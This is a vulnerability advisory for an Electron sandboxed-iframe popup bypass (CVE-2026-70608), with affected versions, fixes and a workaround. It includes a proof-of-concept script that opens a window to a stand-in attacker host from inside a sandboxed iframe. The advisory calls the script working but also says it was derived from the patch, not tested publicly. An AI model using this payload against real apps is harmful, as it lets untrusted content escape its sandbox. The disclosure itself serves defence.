high · 7.2CVE-2026-70608Aug 5, 2026

CVE-2026-70608: Electron Sandboxed iframe allow-popups Restriction Bypass

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A sandboxed iframe in an Electron app can open a new browser window without the allow-popups permission, letting untrusted embedded content escape its sandbox boundary.

Packageelectron
Ecosystemnpm
Affected>= 42.0.0-alpha.1, < 42.0.1
Fixed in42.0.1
CVE-2026-70608: Electron Sandboxed iframe allow-popups Restriction Bypass

The problem

Electron's OpenURL navigation path, used when a frame triggers a new-window navigation, did not check whether the initiating iframe held the allow-popups sandbox token. A sandboxed iframe could therefore create a new window (or fire setWindowOpenHandler) with no user interaction required.

Apps that embed untrusted third-party content in sandboxed iframes and rely solely on the absence of allow-popups to block window creation are affected. The bypassed restriction is CWE-1021 (Improper Restriction of Rendered UI Layers or Frames) combined with CWE-693 (Protection Mechanism Failure).

Proof of concept

A working proof-of-concept for CVE-2026-70608 in electron, with the exact payload below.

javascript
<!-- Parent page loads untrusted content in a sandboxed iframe WITHOUT allow-popups.
     The iframe initiates a new-window navigation via the OpenURL path,
     which Electron (< 42.0.1) did not gate against the sandbox token. -->

<!-- attacker-controlled page served inside the iframe -->
<script>
  // Triggers an OpenURL new-window navigation with no user gesture.
  // In unpatched Electron, the sandbox popup restriction is not checked
  // on this code path, so the window opens (or setWindowOpenHandler fires)
  // even though allow-popups is absent from the parent's sandbox attribute.
  const a = document.createElement('a');
  a.href = 'https://attacker.example/payload';
  a.target = '_blank';
  a.rel = 'opener';
  document.body.appendChild(a);
  a.click();
</script>

<!-- Parent HTML (victim app) -->
<iframe
  src="https://untrusted.example/"
  sandbox="allow-scripts allow-same-origin">
  <!-- NOTE: allow-popups is intentionally absent.
       Unpatched Electron still lets the iframe open a new window. -->
</iframe>

Chromium enforces the allow-popups sandbox token before allowing a new-window navigation, but Electron adds its own navigation layer. New-window requests that travel the OpenURL code path in Electron's browser-side navigation delegate bypassed the sandbox popup check entirely.

The fix (PR #51437 / commit 3ff23c52) adds the iframe sandbox flags inspection to the OpenURL path so it mirrors the guard already present on other navigation routes.

Public PoC not yet available. Payload derived from the advisory description and the patch diff on GitHub (PR #51437 and its backport PRs #51438, #51439), which show the added check against the sandboxed frame's popup permission on the OpenURL navigation path.

The fix

Update to Electron 42.0.1, 41.10.3, or 39.8.10. As an immediate workaround, return { action: 'deny' } from setWindowOpenHandler for any content you do not fully trust. Do not rely on the absence of allow-popups alone as a popup gate.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research